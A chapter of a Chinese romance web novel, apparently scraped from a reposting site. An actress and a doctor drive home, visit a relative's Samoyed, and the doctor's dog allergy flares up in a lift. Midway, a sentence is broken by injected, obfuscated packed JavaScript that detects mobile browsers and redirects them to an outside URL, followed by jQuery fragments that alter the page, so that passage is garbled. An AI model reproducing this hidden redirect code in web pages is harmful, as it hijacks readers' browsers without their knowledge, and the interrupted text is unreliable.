14. 绿色月亮

作品:《绿色月亮

    十分钟后。


    时枝再一次给广播台换了个频道。


    “咱们就是说啊,时枝出道这么多年,关于她出身福利院的事都没有大规模传播过,这说明什么?说明她的团队也在刻意淡化这件事!”


    “那么用意是什么呢?”


    时枝听自己的八卦听得津津有味,还有闲心问程彻:“程医生,你知道用意是什么吗?”


    红灯。


    雨中的红绿灯像遥遥挂在天边彩色的星星,数字跳动倒数。


    程彻顺着她的话:“什么?”


    “当然是因为不想给别人做文章啦,”时枝单手托着下巴,语气轻松:“不止黑粉,主要是粉丝们,当然这可以虐粉,但是我更希望她们能因为我很好喜欢我,而不是我很惨怜惜我。”


    “程医生觉得呢?”她问。


    倒数结束。


    黄灯跳跃三秒,滑向绿灯。


    程彻踩下油门:“挺好的。”


    时枝悻悻:“就一句挺好的?”


    程彻嗯了一声。


    时枝追问:“为什么?”


    又是红灯。


    一路的红灯让本来就不短的路延续的更长,程彻的耐心向来好,指腹放在方向盘上轻点着,他静了会儿,才反问时枝:“这样你会更舒服,不好吗?”


    不等时枝说话,他又说:“很小的时候,我常在医院里玩,也跟父母巡视病房,看到过很多很多痛苦的病人,我看着父母忙里忙外,治病救人,为的就是能让病人活得更舒服点。”


    他微微点头:“舒服就好。”


    时枝张圆嘴巴。


    她消化了下程彻的话,认真道:“程医生,这是我第一次听你说这么多话。”


    程彻:“……”


    时枝的关注点永远都在他的意料之外。


    “下个路口不会还是红灯吧?”


    “……不知道。”


    “龙虾不会坏吧?”


    担心完红绿灯,时枝又担心地往后张望了下:“从澳洲空运过来的龙虾,现在温度那么高,应该不会坏吧?”


    澳洲龙虾是陈萱吩咐阿姨给程彻的,要他带去程思思。


    时枝一拍手:“我也想去看思思姐!”


    她的房子是去年装修好的,才搬来不久,自从知道跟程思思一个小区后就说着要去拜访,但无奈两人行程一直没对上。


    这次程彻送她回来,再不去拜访就说不过去了。


    程彻打转方向盘,进入主道路,车子疾驰而过时碾过落叶,溅起水渍。


    广播里还在没完没了地聊着时枝的八卦,从福利院聊到背后金主,把宋明津跟她的地下恋情讲得头头是道,如果时枝不是当事人,她都要信了。


    越听越离谱,她干脆换了个频道。


    程彻却冷不丁地开口:“怎么不听?”


    “你喜欢听这个啊?”时枝微微瞪大眼睛。


    程彻摇头:“不喜欢。”


    时枝松了口气:“别信就行,他们讲的没有一个字是真的!”


    程彻若有所思地点点头。


    他问:“宋明津也没有为你自残吗?”


    时枝:“……不喜欢还听得那么认真!”


    程彻抿了抿唇:“习惯了。”


    习惯倾听。


    时枝轻哼:“当然没有。”


    她说着说着又兴冲冲起来:“你别看我们宋总——”


    “我们宋总?”程彻打断她。


    “呃,习惯了哈,”时枝解释:“习惯这样跟老板套近乎。”


    “不是好习惯。”


    “……”时枝问:“程医生你的习惯倾听呢?”


    “为什么自残?”程彻从善如流。


    “哦哦,”时枝接上话题:“别看宋明津霸道总裁游刃有余的样子,青春期的时候为了能学自己喜欢的专业,敢跟他爸叫板,扬言如果不如他的愿他什么都做得出来。”


    “他喜欢的专业是?”


    时枝耸耸肩:“不了解,不关心。”


    时枝向来界限分明,对与她无关的事情从不上心,宋明津对她来说是老板,就只是老板,她做好分内之事就好。


    所以那些关于她和宋明津子虚乌有的绯闻,她也不在乎。


    ……那她这么在乎程彻信不信干什么?


    新换的电台在推荐每周最火新歌,轻缓抒情的音乐在车厢里响起,混着车窗外的雨声,在驶入地下车库时,风猛烈地灌了进来。


    她的心跳奇奇怪怪的。


    /


    程思思家跟时枝同栋不同单元,在八楼,电梯直达入户。


    时枝是第一次登门,莫名有点紧张,偷摸看了眼笔挺站在她旁边的程彻,程彻单手拎着冷冻盒,看着不断上升的数字。


    似乎是察觉到了她的视线,程彻顿了下,回看过来。


    时枝一脸费解:“好奇怪啊,程医生,我有点紧张。”


    她晚饭上喝了点酒,不至于喝醉,被风吹过后,酒气也散了七八分,余了两分浮在脸上,红扑扑的,眼眸里也似含了水。


    望过来时,可怜兮兮的。


    程彻问:“紧张什么?”


    “就是说啊!”时枝百思不得其解:“我紧张什么啊?又不是第一次见思思姐,也不是见家长,就算我是空手来的那也——”


    话没说完,电梯到达,随着电梯门缓缓打开,一道白影猛地扑了过来。


    时枝:“!!!”


    “耶耶!”电梯外传来程思思的喊声:“耶耶!别看到漂亮姐姐就扑上去!快起来耶耶!离你程彻哥哥远点!”


    时枝勉强站住脚步,这才发现扑到她怀里的是个毛茸茸的萨摩耶。


    通体雪白,微笑天使。


    正对她吐舌头摇尾巴。


    时枝的心情登时从恐慌化成了一滩水,她抱住萨摩耶:“好可爱啊!”她越过耶耶往后看去,问迎出来的程思思:“思思姐,这就是你在微博上晒的小狗耶耶啊!”


    耶耶听到他的名字,尾巴摇得更欢了,直往时枝的怀里拱。


    “可不就是他,你看他疯的!”程思思捏住耶耶的耳朵:“快起来,你再凑近点你程彻哥哥又要打喷嚏了。”


    “打喷嚏?”


    时枝摸着耶耶的脑袋,看向程彻,这才发现程彻已经走到了门口,他把冷冻盒递给阿姨,察觉到时枝疑惑的目光,他嗯了一声:“有点过敏。”


    程思思拆台:“何止是有点过敏!之前有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992373|193774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次都进医院。”


    时枝的心猛地揪了下:“这么严重?”


    程彻不同意地看了程思思一眼:“没有那么严重,我进医院是因为要上班。”


    程思思敷衍地点头:“嗯嗯嗯,你最好是没去呼吸科。”


    “那我们就不留了!”时枝又狠狠的撸了耶耶一把,牵着它绕过程彻带进客厅,又小跑出来:“我下次再来单独看耶耶。”


    她扯了把程彻:“你还愣着干什么?!”


    程彻猝不及防,踉跄了下,还在发懵,时枝已经把电梯按了上来:“思思姐我们先走啦,你明天有空的话我就来坐坐!”


    说完就把程彻推进了电梯。


    程彻的脚步顿了下:“等等。”


    “还等什么?”时枝瞪了他一眼:“你还想进医院是吧?”


    程彻:“……我本来就要进医院。”


    在电梯外拽着耶耶的程思思看着他俩你来我往的,终于忍不住问出了声:“你们两个现在什么情况?已经这么熟了吗?”


    时枝啊了一声。


    程彻:“……不熟。”


    “怎么不熟啊?”程思思站了会儿也累了,靠在门框上,揶揄道:“我看你俩才是像要回一个家的。”


    时枝的脸倏地红了:“没有!”


    她站到电梯按键旁,一脸严肃问程彻:“程医生,你要下去吗?需要我帮你按电梯吗?”


    程彻:“负二,谢谢。”


    时枝对程思思挥手:“晚安思思姐,晚安耶耶!”


    耶耶:“汪汪汪!”


    程思思饶有兴趣地看着他们,也点点头,叮嘱程彻:“路上注意安全啊!”


    电梯门缓缓地关上。


    往下沉。


    气氛诡异地沉默着,时枝的心跟着电梯不断地往下沉,沉到底了又慢慢浮上来,咕噜咕噜地冒出程思思状似调侃的那句“你们看起来是像回一个家的”,脸又如同被火灼般烧了起来,可怕的猜想也跟着冒了出来。


    她不会、不会是对程彻动心了吧?


    不可能!


    她向来标榜的智者不入爱河,专心搞事业,心只为钱和名动,怎么可能对程彻动心?对,这不可能!


    自我劝服成功,时枝坦然了不少,她在心里深吸一口气,看向程彻:“程医生我就不送你去地下车——你、”她的声音忽然拔高:“程医生你没事吧!”


    只见从进了电梯就一直安静的程彻此刻闭着眼,呼吸稍稍急促,修长白皙的脖颈处泛着淡淡的红点。


    俨然是已经过敏的症状。


    “叮!”


    电梯到达一楼。


    程彻跟着电梯晃了下,时枝连忙扶住他:“程医生?我天我天,这可怎么办?你现在还站得住吗?还能开车吗?要不要——”


    声音戛然而止。


    电梯的门缓缓地关上,有风从四面八方吹来,在下坠的密闭空间里,时枝背靠冰凉的墙,她的肩膀上,程彻的额头虚虚地搭着。


    时枝疯狂眨眼,她按捺住狂跳的心脏,轻轻推了下程彻:“……程医生?”


    程彻低低地嗯了一声。


    嗓音轻哑,落在她发颤的心尖上。


    他说:“带我回家。”